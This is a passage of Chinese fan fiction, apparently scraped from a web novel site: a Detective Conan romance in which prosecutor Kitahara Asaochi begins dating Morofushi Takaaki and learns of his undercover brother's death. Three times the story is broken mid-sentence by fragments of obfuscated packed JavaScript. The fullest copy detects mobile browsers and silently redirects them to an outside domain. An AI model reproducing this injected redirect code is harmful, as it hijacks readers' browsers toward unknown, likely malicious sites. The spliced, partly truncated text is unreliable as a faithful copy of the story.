;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门铃声响起,北原浅落开门,是诸伏高明他们三个。 “不是说不用来送吗?怎么都来了?”说完,北原浅落重新返回客厅把箱子拉上立起,“好啦,我收拾好了,我们下去吧。” “检事小姐,你这次回东京,不会就不回来了吧?”大和敢助按着电梯开合键,等待其他三人都进来。 北原浅落下意识想说不是,话到嘴边变了主意,偷偷观察诸伏高明的反应。 “说不定呢,虽然只是停职一个月,但是谁知道后面会不会认为我在长野工作太差,把我调回去到东京基层锻炼,啊,以我爸的作风,很有可能呢,他肯定不想我在外面丢人现眼。” 不出所料,对方脸色不着痕迹沉了下来,但除此之外,别无表示。 什么嘛,明明之前还那么大胆,怎么今天就什么都不敢了? 北原浅落拉着箱子走出电梯,走出大楼来到车边。 “北原,你真的不回来了?” 上原由衣依依不舍,情真意切,北原浅落忍住冲动,点头道:“没事的上原,如果我真的不来了,你可以来东京找我呀,之前我听美和子说,她和你很投缘,你来的话我们可以带你在东京玩。” 上原跺了跺脚,拉着北原浅落往一边走了几步,凑到她耳边小声说道:“北原,我都看出来了,诸伏喜欢你,听敢酱说你之前拒绝他了,你们真的没可能了吗?听说你要走,他虽然没有表现出来,但真的很舍不得啊,你不再考虑一下吗?” 听着听着,北原浅落视线向立在车边的男人身上瞟,真是的,胆小鬼,还得上原来给你求情。 “谁知道他舍不得啊,一句话都不说……” 车边,大和敢助把诸伏高明往两位女生站的方向推了一下,眼神中的暗示意味再明显不过:“喂,人家诸葛孔明都得刘玄德三顾茅庐才请出山,你这才被拒绝了一次。” 诸伏高明对上北原浅落的目光,对视几秒后走向她。 上原由衣适时退开,回到大和敢助身旁,实时吃瓜。 “北原检事,我……” “诸伏警部,”北原浅落打断对方,看向身旁的绿化带,“我上次说,在厘清过去的情感之前,不能答应你,你还记得吗?” “是,我记得,”诸伏高明顿了两秒,缓缓问道,“那你现在厘清了吗?” 他问得小心翼翼,似是怕惹她不快。 北原浅落勾起嘴角,抬眸直视诸伏高明:“抱歉,还没有。” 女孩的双眸闪着许久未出现的光彩,这几日的阴郁已经消失,但说出的话依旧那么无情,甚至,配合着她此时的神态,更显无情。 良久,诸伏高明闭上眼:“我明白了。” “但是——” 北原浅落故意拖起长音,迟迟不说下文,走到驾驶室边,看了看车边的两位吃瓜群众,而后转头看向仍待在原地的男人。 “诸伏警部,等我从东京回来,我们交往吧。” 说完,北原浅落特意瞧了一脸惊呆的二人一眼,笑着搭上把手就要开门。 这下,她说得够明白了吧? 门刚开了一条缝,就被覆上自己右手的一道力关上。 北原浅落下意识偏头,诸伏高明的面庞近在咫尺。 对方的神色一如既往沉静,可那双一贯如冰川的丹凤眼此时跳动着火焰,冰与火在此刻交融,最终化为一滩融化春水。 “北原检事,空口无凭。” 对方的突然逼近让北原浅落大脑空白,但只一秒,她就想好了怎么给他凭证。 她稍稍踮脚,在对方的唇角轻触了一下。 “这下,总不算空口无凭了吧?” 18.第 18 章 “我回来了。” 北原浅落拉着行李箱进屋,在玄关处换鞋。 把行李箱放在角落,她朝里屋走,果然只看到母亲的踪迹。 “回来啦!”北原理纱将最后一道菜端上餐桌,“刚好,快洗洗手来吃饭吧。” “好。”北原浅落走到洗手池边打开水龙头,“爸呢?加班?” “是,今天晚上有个会,他走不开。”北原理纱给二人放好筷子,正要坐下,转头看向正在洗手的女儿,“我给你把饭盛好?” “好,谢谢。”北原浅落拿过一旁的手巾把手上的水擦干,“我就知道,检事长大人果然天天日理万机。” “没办法,最近你爸是很忙,我也很忙,”北原理纱将盛好的饭递给女儿,两人在餐桌旁落座,“还好今天晚上的临时会议取消了,不然,你到家了还得自己解决晚饭。” “你们最近在忙什么?有什么大案子吗?” “工作机密,无可奉告。” 说这话的时候,北原理纱眼都没抬一下,只是给女儿夹菜:“这是你爸半个月前腌制的小菜,你最喜欢吃了。” 对此,北原浅落早已习以为常:“是是是,机密,我不问。” “话说,对于我这次回来,你们有什么要说的吗?” 北原理纱舀汤的手一顿,瞧了坐在对面的女儿一眼,嘴角轻勾:“说什么?抱歉啊,北原检事,我们不是你的直属上司,你也不就职于东京高等检察厅,你的级别还没到有幸让我们给你处分的地步。” “讨厌,职级高就了不起啊,总有一天我会超过你们。” 北原理纱笑了两声,换回母亲的口吻:“其实,刚开始知道你被停职的时候,我和你爸是挺惊讶的,但是,想了想,哪位检察官在工作中没犯过错呢?就连你爸,像你这么大的时候也受过处分,事情也比你严重多了,直接降级到区检察厅去了。” “真的?” 北原浅落不可思议,从小到大,她都认为她爸是个在工作方面一丝不苟到近乎苛刻的人,他居然在工作中犯过这么严重的错误? “是,那时候,我还借职级便利指挥过你爸给我跑腿呢,可惜啊,后面就没有这种机会了。”回忆起年轻时候的经历,北原理纱嘴角漾起笑意。 “你可别把这事告诉你爸啊,不然他要找我的。” “你怕他?”北原浅落撇撇嘴,一脸不信。 “我当然不怕他,我怕他的唠叨。” 北原浅落扑哧一笑:“好,我不会和他说的。” 凝视了女儿的面庞几秒,北原理纱认真地说:“浅落,我和你爸都相信你,所以,不要对这次的事件太在意,就当好好休息一段时间。” 北原浅落心中涌起热流,抬手抹了抹眼角:“妈,谢谢。” “好啦好啦,快吃饭吧,”北原理纱递上一张纸巾,“我也有好长时间没下厨了,你尝尝看味道怎么样。” “嗯嗯。” 看着女儿吃饭的样子,北原理纱一脸欣慰,抬手替她把在额前晃悠的碎发拨到耳后。 “那个,前段时间,你不是和法院的神谷康平相亲了吗?感觉怎么样?你之前说在电话里说不清楚,现在总能说清楚了吧?” 想起自己之前在电话里那通敷衍的回应,北原浅落尴尬一笑:“神谷裁判官,人是很好啦,就是……” 见北原浅落吞吞吐吐,北原理纱秒懂:“行,我知道了,就是你没看上他。” “嗯。”北原浅落不好意思点点头,她这次回来其中一个目的就是想找个机会和对方说清楚。 “没事,你爸那张候选人表格上还有很多人,你慢慢挑。” 北原浅落筷子一抖,刚夹起的菜落回盘子。 “候选人表格?这东西又是什么时候弄的?” “就你去长野的这段时间啊,我和你爸知道你眼光高,就提前给你筛选一下,免得你到时候厌烦。” “我已经厌烦了,其实,我……” “呀啦,先别烦,其中两位还是池田介绍的呢,对了,你还不知道吧,池田生病住院了,前两天我和你爸刚去医院看过他。” 北原理纱的话成功把话题引开,北原浅落卡在嗓子眼的话就这么咽了回去。 “欸?池田前辈生病了?很严重吗?我去看看他。” “老毛病了,脊椎问题,这次有点严重,他刚做完手术,过两天等他精力好点了你再去看吧。” “嗯,”北原浅落咽下口中的饭,观察了母亲几秒,试探性开口,“妈,我有件事要和你说……” “嗯,你讲。”北原理纱不紧不慢喝着汤。 北原浅落特意停了停,观察母亲的节奏,把握时机开口:“其实,不用给我相亲了。” 果不其然,话音刚落,北原理纱就停下了动作,抬头用一向用来审视材料的眼光捕捉女儿的微表情。 “是,没错。” 知女莫若母,同样,知母也莫若女,北原浅落肯定了母亲心中的猜想。 “我有喜欢的人了。” 两秒后,北原理纱审视的目光转为八卦的目光,多年的案件经验告诉她,北原浅落没有蒙骗她,这是实话。 “是谁呀?”北原理纱屈起右手手臂撑着下巴,左手指尖一下一下点着桌面,眼里满是促狭的笑意。 北原浅落被盯得不好意思,低头盯着自己不知如何摆放的双手。 “我们、我们还没正式交往,现在还不能告诉你。” 听到这,北原理纱眼中的兴趣更浓了。 “还没正式交往是什么意思?浅落,你不会是在暗恋吧?” “就、就是还没正式交往嘛,”北原浅落顿了顿,连忙补充,“我已经接受他的表白了,只不过缓期一个月执行而已。” “缓期一个月?” “嗯,我不是停职一个月吗?等我回长野了再……”意识到被母亲套路,北原浅落急忙噤声。 “原来是长野的啊……”北原理纱嘴角笑意更浓,“我还真好奇,是什么样的人才能让你青眼。” “妈!”北原浅落“狠狠”瞪了母亲一眼,加速扒拉碗中剩下的饭。 “我吃完了。” 刚把碗筷放下,桌边的手机响了,北原理纱探头去看,但还是晚了一步,手机被北原浅落以迅雷不及掩耳之势拿起。 看来是那位还没“正式交往”的男朋友了。 忽视母亲揶揄的眼神,北原浅落小跑上楼,走到一半接了电话放在耳边,而后回房锁上房门,坐在门后和电话那头的人聊天。 “是,已经到了,晚饭也吃好了,你呢?” 诸伏高明望了望窗外升起的月亮,将视线转回面前的桌上,上面摊着一本书:“我也吃好了,本来打算看会新出的刑法案例解读,但是发现看不下去。” “嗯?为什么呢?是写的不好吗?”北原浅落迅速回忆了一下书中的内容,“没有呀,我觉得写得挺好的,很翔实。” 诸伏高明嘴角轻勾:“不是书的问题,是我的问题,或者说,是你的问题。” “我的问题?” “对,因为我一直在想你。” “脑子里全是关于你的事,一直想着什么时候才能从你那兑换凭证,想着想着就完全看不进了。” 对方的情话隐晦又直白,惹得她红了脸。 “那也不关我的事,是诸伏警部你自己定力不够,专注力不行。” “对,是我的问题。” 不知是不是电话听筒的加成,北原浅落觉得对方夹杂着笑意的语气如同羽毛一般,在她耳廓边挠痒。 “浅落。” 这是他第一次叫自己名字。 似是心血来潮的无心之语,又像蓄谋已久的试探。 不论是什么,他成功地让自己的脸更烫了。 “我想你了,浅落。” 他又叫了自己的名字。 北原浅落嘴巴翕动,尝试了几次,她回道:“我也想你。” 拜他所赐,现在,她的脑子里也全是他 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由于出色的记忆力和聪明的头脑,她从小就远超同龄人,这让她无法理解身边的人的“迟钝”,也让同龄的人不自觉远离她,久而久之,便独来独往了。 只有白鸟和在京都上学时认识的绫小路算得上朋友,因此,在白鸟任三郎面前,她还是不自觉展露之前的脾气。 “那确实多虑了。”北原浅落轻轻吹着茶水,“我可没有这么脆弱。” “那就好,”确认好友一切正常后,白鸟任三郎开门见山,“说吧,今天单独约我有什么事?” 北原浅落放下茶杯,抽出张纸巾擦了擦嘴:“我想让你帮我查一个人。” “查谁?”白鸟任三郎怔了一秒,随即换上一个微妙的笑容,“查你那位神秘的笔友前辈?这恐怕是查不到。” “不是,真要让你查,在你刚进警视厅的时候我就会找你了,还用等到现在?”北原浅落撇了撇嘴。 更何况,她现在已经找到了。 “那是查谁?” “请帮我查一下一位叫诸伏景光的人。” “诸伏……”白鸟任三郎略加思索,“我记得长野有位诸伏高明警部。” “是,没错,这位诸伏景光就是他的弟弟。”北原浅落说道,“去年因为案件,我拿到过警视厅的在职人员名单,但是里面没有他的名字。” “他在警视厅任职吗?”白鸟任三郎回忆着警视厅的同事们,“我好像确实没听过这个名字。” “我不确定是不是在警视厅,但是应该是警察没错,我大学的时候见过他,他那时候在警校读书。” “是吗?” “是的,其实我之前已经拜托过我爸了,但是一直没有和我说,可能是因为他最近太忙了,把这事忘了,也可能是因为他查到了,”北原浅落停顿了一下,神色敛了几分,“但不想和我说。” “所以嘛,我就来拜托你了。” 白鸟任三郎无奈一笑:“你爸都不能和你说的事,你觉得我能查到?” “不试试怎么知道呢?”北原浅落丝毫不惧,迎上对方的目光,“你帮不帮?” “行吧行吧,”白鸟任三郎将剩余的咖啡一饮而尽,起身扯了扯领带,“我到时候要是被停职一个月,记得把那个月工资补偿给我。” “谢了。”北原浅落没去理会白鸟任三郎的玩笑,向他认真道了声谢。 “真要谢我,就告诉我为什么要查他,要是诸伏警部想查,也用不着你来找我吧?” 北原浅落跟着将茶水一饮而尽,站起身笑道:“等你查到了,我再告诉你。” 白鸟任三郎笑着摇了摇头,抬手告别:“我回去了,有消息会和你说的。” “再见。” 走出咖啡厅,北原浅落转身看向不远处矗立的警视厅大楼,神情趋于严肃。 如果真的是她爸查到了却一直避而不谈,那么,这件事,比她之前以为的要严重得多。 19.第 19 章 北原浅落打开后备箱,把地上的盒子袋子一一放进后备箱。 电话就是在这个时候响起的。 北原浅落放下右手提着的盒子,取出手机瞧了眼来电显示后按下接听。 “怎么了三枝前辈?有什么事情需要我帮忙吗?” “信?” “对,寄信人只写了‘美樱’两个字,姓也没有,是你认识的人吗?” “我认识的人里没有这个名字的欸,”北原浅落说着蹲下身将最后几样东西拿起放入后备箱,“这样,三枝前辈,这封信就先放我办公桌上吧,等我回来再说,麻烦你啦。” 挂了电话,北原浅落合上后备箱,驱车赶往医院。 她今天约了九条玲子一起去看池田正志。 他是自己父亲的同学,既在检察厅任职,又是东都大学法律系的客座教授,从大学起便对她关怀有加,等她过了法考正式进入东京地检,当时担任刑事部高级检事的他亲自担任她的带教。 可以说,他是自己在检察事业上真正的领路人。 到医院停车场的时候,九条玲子刚下车。 北原浅落在对方车边上的车位停下,解开安全带跳下车。 “前辈!” 说着,她小跑到车尾打开后备箱。 瞧见一后备箱的礼品和补品,九条玲子不禁吐槽:“你带的东西也太多了吧。” “不全是给池田前辈的啦,还有给你从长野带的特产,你赶紧拿到你车上去。”北原浅落边说边拎出几个箱子。 两人进入住院部,按照信息寻找病房,敲了两下听到回应后推门而入。 “池田前辈!” 北原浅落笑着冲病床上躺着的池田正志打招呼。 “是玲子和浅落啊,快坐!”池田正志说着就想坐起。 “前辈,刚做完脊椎手术,你就躺着吧。”九条玲子看出对方意图,连忙劝阻,“我给你把病床升起来一点就好。” 北原浅落放下东西后转身帮忙,和九条玲子一起在他背后垫几个枕头。 “浅落,在长野怎么样啊?”池田正志转头看向站在病床边的后辈。 “挺好的!”北原浅落面带笑容,语气轻快。 闻言,九条玲子拍枕头的手一顿,说道:“好什么好,去长野才这么几个月,又是受伤又是处分的,你还觉得好?” 池田正志听了,不禁一笑,抬手指向一边的饮水机:“坐坐坐,你们自己倒水,那边桌上有茶叶。” “嗯,”北原浅落绕过病床走到一边,接过九条玲子从柜子里取出的茶杯,“对了池田前辈,我从长野带了点特产回来,你尝尝看。” “上次你爸妈来,就给我拿来了很多东西,这次你来怎么还带这么多?” “那不一样,他们是来看同僚兼好友的,我是来看前辈的。”北原浅落捧着水走回病床边,在椅子上坐下。 “算了,我到时候分一点给我的病友。”池田正志无奈一笑,“在医院这些天,空下来着实有点太闲了。” 相似的经历下,北原浅落颇有同感:“我那几天在医院也是,总感觉太空了。” 话音未落,她就接收到九条玲子的视线,连忙补救:“但是,池田前辈你这是做手术,还是多休息几天好。” “你们两个啊……”池田正志看向北原浅落,“我可听说了,你受处分了,这是怎么回事?” 北原浅落简单讲述了一下事情的来龙去脉,末了,感叹道:“就像前辈你之前说的,这真的是艰难的抉择……” “浅落,虽然你受处分了,但我认为你在当时的情境下已经做出了最好的选择,最后也没有妨碍司法,这是一个非常好的结果……”池田正志略带浑浊的双眼逐渐变得幽深,思绪不知飘到了何方。 北原浅落和九条玲子对视了一眼,都感到非常奇怪。 “前辈?” “啊,对不起,只是突然想到了很多年之前的事。” “什么事呀?” “没什么没什么,”池田正志摆了摆手,一笔带过,“陈年旧事,说不清楚了……” 从医院出来,北原浅落驱车回家,在路上接到了白鸟任三郎的电话。 距离约他见面那天也快一周了,应该是拜托她的事有了进展。 男人的声音从蓝牙里传出:“浅落,现在方便吗?” “嗯,你说,是有进展了吗?” “我搜索了近十年的警视厅人员名单,没发现诸伏景光的名字,也拜托朋友在各县的在职警员里进行了查找,同样没找到。” “这样……”北原浅落有些失落,一开始的方向就错了吗? “但是,”白鸟任三郎话锋一转,“我听高木和佐藤说,之前,长野的诸伏警部来警视厅取过东西,里面是一部被子弹击穿的手机,诸伏警部看到之后说看来他弟弟当了公安警察,被派去当了卧底。” “等等,等等——”北原浅落连忙踩下刹车停在路边打开双闪。 突然密集的信息量让北原浅落的大脑高速运转的同时又不愿运转。 公安警察?卧底? 被子弹击穿的手机? 他牺牲了? 北原浅落眼睛不受控制睁大,手脚忽地传来凉意,在她记忆中,那张二十出头的面庞明明依旧鲜活,依旧挂着温柔的笑。 但是,他牺牲了。 他知道。 所以那天,就算提及弟弟的名字,他眼里更多展现的不是温情,而是无可奈何的遗憾与追忆。 “浅落,你还在听吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125628|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我在的……” 白鸟任三郎的声音跟着沉重了几分:“还有个情况得和你说一下,黑田管理官今天找我了,他知道我在偷偷查诸伏景光的事,他让我就此打住。” “所以,浅落,不管你是出于什么原因想查的,也到此为止吧。 “这不是我们能去触及的秘密。” 挂了电话,北原浅落在车里独自坐了许久。 回到家,难得在玄关处看到父亲的鞋,但她此刻没有心情去找他。 “浅落。” 北原修司叫住了走了一半楼梯的女儿。 “爸,不好意思我今天有点累了,有什么事你明天再说吧。” “你让任三郎去查诸伏景光了?” 北原修司没有听从,往楼梯逼近两步,盯着女儿不放。 北原浅落一惊,转身对上父亲的目光,他的目光深不见底,看不出情绪。 两秒后,她坦然承认:“是,是我拜托他的。” “因为爸你明明什么都知道,却不和我说。” “这是机密,”北原修司缓缓开口,“最高级。” “人都没了,还是机密?”北原浅落声音陡然增大,电光火石间,脑中抓住一个念头,“爸,他还没死,对吗?” 北原修司的目光依旧没有波澜,语气就如同法庭上法官般客观:“之所以还是机密,是因为他所牵涉的事情还没有完全结束,等之后了结了,会公开的。” 北原浅落闭上眼,隐去眼底的情绪,几秒后,她的心跳回落了一些。 她没有睁眼,语气异常平静:“爸,他真的牺牲了?” “是,你应该从任三郎那里知道了,他的遗物已经交给他哥哥了。” 法槌落下,一切得到证实。 * 结束加班,诸伏高明在深沉的夜色中走路回家。 待会给她打个电话,他在上升的电梯中这么想着。 电梯门打开的声响惊动了走廊上的声控灯。 借着灯光,他惊讶地发现北原浅落蜷着身子蹲在自己家门口。 还没反应过来,还来不及探究她为什么会出现在这,为什么不在东京的家中,她就站起身扑了过来。 纤细的手臂环着他的腰,整个脑袋埋在他胸前,却一句话也不说。 诸伏高明愣了会,而后抬手揽上她的肩膀,手掌轻摸她的后脑。 “怎么了?怎么突然回来了?” 怎么一声不吭蹲在他家门口。 许久,女孩都没有回答,只是紧紧抱着他。 诸伏高明瞟了眼手表,估摸着流逝的时间,而后轻拍了拍女孩:“我们进屋好吗?” 怀中终于传来了声响。 “高明。” “我想你了。” 20.第 20 章 清晨,日光透过窗帘的缝隙洒入屋内。 多年养成的生物钟让诸伏高明自然而然醒来,恢复意识的同时突然想起昨天晚上的一切。 对了,她…… 他迅速从沙发上坐起,客厅的摆设告诉他昨天晚上的一切不是梦。 她真的从东京过来了。 而且现在就睡在他的房间里。 诸伏高明放慢动作,轻轻推开房门,从衣柜里拿出衣服,正想转身离开,挣扎之后仍然经不住诱惑,返回到床边,盯着床上闭着眼的女孩,他为她拉了拉被子,忍不住伸手抚上她的眉眼。 昨晚进了屋,她还是一直黏着他,他想着再过一会她该回去了,也就脱下外套任由她窝在自己怀里。 时间一分一秒过去,他的心跳也由最初的急促趋于缓和,如果不是北原浅落的眼睛睁着,时不时眨一眨,他都要怀疑她睡着了。 手表上的指针提醒他时间已晚,他轻拍女孩的背:“你该回去洗漱睡觉了。” “不要,”北原浅落动也没动,“我不要回去。” 诸伏高明只当她在发脾气撒娇,顺着她的话开玩笑:“不回去的话,难道你想睡我这?” 不料北原浅落直起身体,定定望着他,她的眼神告诉了他答案。 诸伏高明怔住,不知道作何反应。 北原浅落嘴唇微张:“我今天晚上想睡在这,可以吗?” 恋人提出这样的要求,他该高兴的,更何况他是个男人,在任何男性听来,这都是再明显不过的性暗示。 可他知道,她不是这个意思。 她的眼神中有爱,有哀伤,甚至他还看到了几分怜惜的意味,就是没有一丝情欲。 “好。”他听见自己说道。 他还记得昨晚,她从浴室出来的时候自己刚吹好头发,于是自然而然提出给她吹。 她坐在沙发上,洗发露和沐浴露的清香如蛛网般萦绕在他鼻尖——是和他一样的味道。 乌黑的秀发下,一滴残留的水珠从头发与脖子的交界处顺着弧度缓缓下滑,在光洁的后背隐入女孩的睡裙。 他不受控制吞咽,手上的动作僵硬了几分。 她真的,对自己太没有防备了。 有那么一瞬,他真的很想辜负她的信任,就这么关上吹风机,从她的背后揽住她,然后不管不顾地吻上去。 诸伏高明深吸了一口气,替她仔细吹干发尾。 “待会你睡我房间,我睡沙发。” 北原浅落转头看他,想说些什么,但是他作出一副严肃的、不可让步的模样,她最终点头表示同意。 与此同时他松了口气,他真怕她说出什么让自己和她一起睡的浑话。 他的忍耐力是有极限的。 一声呢喃把诸伏高明从昨夜的回忆中拉出,做贼似的,他慌忙收回手,见她没有醒来的迹象,小心退出房间关上门。 换好衣服,他从冰箱里取出食材简单做了两个三明治,留下一个用保鲜膜包好放回冰箱。 吃完自己的那份,他从书房里拿出便利贴和笔,在客厅的桌子上坐下写字。 突然门口传来门铃,伴随门铃的还有重重的敲门声。 “高明!” 诸伏高明快步走向门口,瞥了目前尚未有动静的房间。 “嘘——” 开了门,诸伏高明立马向门外的人做了个噤声的动作。 “怎么了?你都起来了还嘘什么,”大和敢助并未多想,“真是的,给你发消息也不回,昨天案子的嫌疑人比对结果有进展了,赶紧和我去抓人,上原还在楼下等着呢。” “稍等。” 说着诸伏高明回身走回客厅,加快速度写完便利贴贴在桌子上。 “磨叽什么呢,赶紧的!” “来了。” 诸伏高明走到玄关旁,刚准备换鞋,房间的方向传来了动静。 “诸伏警部,我好像听到了……” 北原浅落正想打哈欠,突然与门口的二人视线交汇。 空气突然沉默。 “你!你怎么——” 诸伏高明狠狠用左脚踩了对方一脚,成功让他住口。 他收回踩进皮鞋的左脚,重新穿上拖鞋,走到北原浅落面前领着她回房间,全程替她遮挡门外的视线。 “你再继续睡会吧,冰箱里有牛奶和三明治,待会可以热一下吃。” 再度回到玄关,诸伏高明急速换鞋,在大和敢助说话前“砰”地一声关上门。 二人上了车,上原由衣敏感地察觉到两人的气氛有些不对劲。 “怎么了吗你们两个?”上原由衣启动车子踩下油门。 “高明——” “敢助君,不想让我和你绝交的话就闭嘴。” “啊?”上原由衣惊讶地张大了嘴,就上去叫个人而已,这是怎么了? “切,敢做不敢当。”大和敢助小声吐槽,之后再也没提刚刚的重大发现。 * 北原浅落懵懵懂懂回到房间重新躺下,刚复苏的大脑各项功能还没启动完全。 突然,她明白刚刚大和敢助看她的目光为何那么震惊。 天哪! 北原浅落猛地坐起。 自己这个脑子…… 她拍了拍自己脑袋,万分懊恼。 完蛋,这下跳进黄河也洗不清了。 唉,北原浅落长叹一口气,掀开被子下床洗漱。 昨天下午从她爸那进一步证实了诸伏景光的死讯后,忽然之间,她被汹涌的情绪淹没,她突然好想见诸伏高明。 她这么想,也这么做了。 当即下楼梯出门,不管身后父亲的叫唤开车回了长野。 她要去陪他,她会一直陪着他的。 怕惹他伤心,她不能直接和他说自己知道了他弟弟的事,只能用拥抱表达自己的情感。 有她在,他不会是一个人的。 洗漱完,她穿过客厅走向厨房,经过桌子时看到了便签。 她微微一笑,指尖掠过上面的字,这个字迹,她再熟悉不过了。 说起来,自己刚来长野的时候,就给他写过一张便签。 想到这里,她隐隐有些失落,她知道时隔这么多年,他没认出来非常正常。 他不是笔迹专家,也不像自己一样记性这么好。 突然,她记起那时候诸伏景光说的话。 “好厉害,你是东都大学法学部的学生吗?” “真巧,我哥哥也是东大法学部的,不过已经毕业了。” “有机会的话,我介绍你们认识认识?” 当时自己的回答是“不用了,我对认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那就没问题了,我这边有一些他涉及到的刑事相关案件线索,我让人移交给你。”池田正志合上资料还给北原修司,“都怪我突然身体出问题,不然这件案子的进展还能快一些。” “没事,身体要紧,你也明白,这种案子急也急不来,”北原修司接过资料放回包里,“对了,之前和你说的,东京高等检察厅刑事部部长的任命月底就会下来了,这次你可不许再推了。” “好好,我不推了,但是任命晚一个月可以吗?下个月再来。” “嗯?为什么?”北原修司和妻子面面相觑。 “我下个月月初在明和大学有个法学讲座,部长身份的话,可能不适合过去了。” “明和?你不是东大的客座教授吗?”北原修司奇怪。 “谁说东大的客座教授就不能去别的学校讲座了?”池田正志笑着喝了口微凉的茶。 “那也不用特意去明和吧?东京有很多比明和好的学校。”北原修司双手抱起,锐利的目光打量着自己的好友,直觉告诉他,其中有蹊跷。 “我就想去明和不行吗?” “行吧行吧。”北原修司无奈叹气,既然他不想说,随他去吧。 见到这一幕,北原理纱忍不住笑了,转而提起今天上门拜访需要商量的另一件事:“除了案子,还有一件事要和你说。” “什么?” 北原修司转头看向关闭的病房门,缓缓开口: “是关于你隔壁那位病友的。” 21.第 21 章 合上《二年级A班的孔明同学》,北原浅落心里涩涩的。 小说节奏轻快,落笔细腻,孔明同学的形象栩栩如生。 文字是不会骗人的。 大和敢助那句“高明对她有好感”犹在耳畔,与之出现的是迟来的别扭与酸涩。 她不该介意这个。 那时候他们才小学,那么小,哪知道什么是喜欢。 可是,北原浅落手指划过光滑的封面,她感受到了,小桥葵在写这本书时倾注的情感。 她知道他小时候的高光时刻,知道他难得一见的糗态,她知道一个自己从未了解过的诸伏高明。 自己认识他才多久呢? 半年都没有。 关于他的过去,自己能凭借的只有那薄薄的几张履历表。 从未有过的、名为嫉妒的情感在北原浅落的心里滋生,在她意识到这点时,同时生发的还有对自己的失望。 她居然会嫉妒一位已经去世的人? 如果对方没有去世,自己的嫉妒是不是还会变本加厉? 不能再想了,北原浅落起身,拿着书走到书架边,重新把书放回原来的位置。 沙发上的手机响起,是消息提示音。 北原浅落迅速回身,看到消息的一刹那,眼中的希冀明显落空。 不是诸伏高明,是她妈。 昨天她一气之下出门,只在上高速前给他们发了条回长野的消息。 “正志下个月2号在明和大学有个讲座,想去听的话可以回来一趟。” 下个月2号,那不就是两周后吗?刚好是她停职期的末尾。 她妈这是醉翁之意不在酒,算准了要让她回去一趟和她爸和好。 “我会考虑的。” 退出和母亲的聊天窗口,北原浅落点开和诸伏高明的,界面停留在她两个小时发的那句“你今天什么时候下班?我等你回来一起吃晚饭”。 现在都没有回复,看来是不会准时下班了。 像是要印证她的判断,下一秒,对方的消息跳了出来。 “抱歉,今天大概率要加班,你先吃吧,不用等我。” 北原浅落无声叹气,顺势在沙发上躺下,把手机翻转放在一边。 久未体验的、小时候那种等父母回家的失落与空虚袭来,如水桶接水般,平静的水面漾着涟漪,一点一点上升,直至满到溢出。 她转身,找了个舒服的姿势闭上眼,不能这样,又不是小孩子了,而且,和当初父母忙于工作的原因一样,他是为了帮助更多需要帮助的人。 自己的工作也是这样的。 他们都是一样的。 想着想着,北原浅落睡着了,醒来的时候夕阳已经穿过阳台泻入客厅。 屋内静悄悄,一如先前。 北原浅落静静躺着,听着阳台方向时有时无的汽车声,零零散散的儿童打闹声。 APP的推送弹窗声把她从走神中拉出,她坐起,发现已近饭点。 一个人的话,随便吃点吧,就和中午一样,煮个泡饭就好。 刚打开冰箱,她还在上下打量,门口就传来开门的动静。 她一怔,转头看向客厅。 “浅落。” 熟悉的身影从客厅走向厨房。 “你在厨房啊,晚上打算吃什么?”诸伏高明自然而然将冰箱门往外开了些,视线掠过冰箱里的食材。 “番茄土豆炖牛肉怎么样?”诸伏高明拿出几个番茄和土豆,随后是一盒塑料盒装着的牛肉,“这是我昨天早上放冰箱里解冻的,本来想昨天晚上吃的,没想到遇上了加班。” “你说呢?”诸伏高明低头,征询北原浅落的意见,却发现对方愣愣看着他,一副没回过神的样子。 “浅落?” 北原浅落慌忙收回视线,点头“嗯”了一声。 “你怎么回来了?不是加班吗?” 她感受到他专注又温柔的视线,下一秒,自己搭在冰箱门上的手被他握住,轻带着合上冰箱。 “本来是要加班的,”诸伏高明握住北原浅落的手稍稍用力,“但是想到你在家,就回来了。” 北原浅落脸一红,还是不敢看他:“那工作怎么办?” “拜托给敢助君了。” 说到大和敢助,北原浅落不免想起早上那一幕,纠结了两秒,小心对上那道危险又迷人的视线:“大和警部他,早上,没有误会吧?” “误会?”诸伏高明语气中带着不加掩饰的笑,“当时的情况下,他不误会才奇怪吧?” 北原浅落抽回被他握住的手,侧身背对:“那你和他解释了吗?” “这种事,只会越描越黑,他误会就让他误会吧。”诸伏高明轻轻扳过北原浅落,抬手替她将随着动作掉下的头发别到耳后,嘴角轻勾,“而且,昨天晚上坚持要留宿的是你吧?当时没有想过万一被人看到了会怎么样吗?” 带有薄茧的手指轻轻擦过她的耳廓,激起一层粉红。 “我、我……”北原浅落又羞又恼,一时语塞,憋了半天才憋出一句,“我今天晚上会回去的。” “好,不过也得吃完了饭再走。”诸伏高明挽起袖子,拿起番茄和土豆走向水池。 北原浅落上前,想要从对方手里拿过:“我来吧,你忙了一天,先去歇一会。” “那我们一起?” 晚餐做好,外面已是夜幕初上。 北原浅落坐在餐桌边,看着诸伏高明端上一锅色香味俱全的炖菜,想到书里的孔明同学,小小年纪已经能做简单的料理了。 见北原浅落盯着自己,诸伏高明没多想,伸手拿过她的碗想要给她盛:“你尝尝味道怎么样?” 灯光从上至下打在他脸上,居家的感觉更重了。 “诸伏警部,你之前有过女朋友吗?” 诸伏高明手一抖,汤汁洒出了些,在桌上留下一小滩痕迹。 他想到过总有一天她会问这个问题,但没想到会是现在。 诸伏高明将碗放到北原浅落面前,拿过桌上的纸巾擦去桌面的汤水,把纸巾扔进垃圾桶。 “虽然这听起来会有点奇怪,但在你之前,我的确从未有过女朋友。” 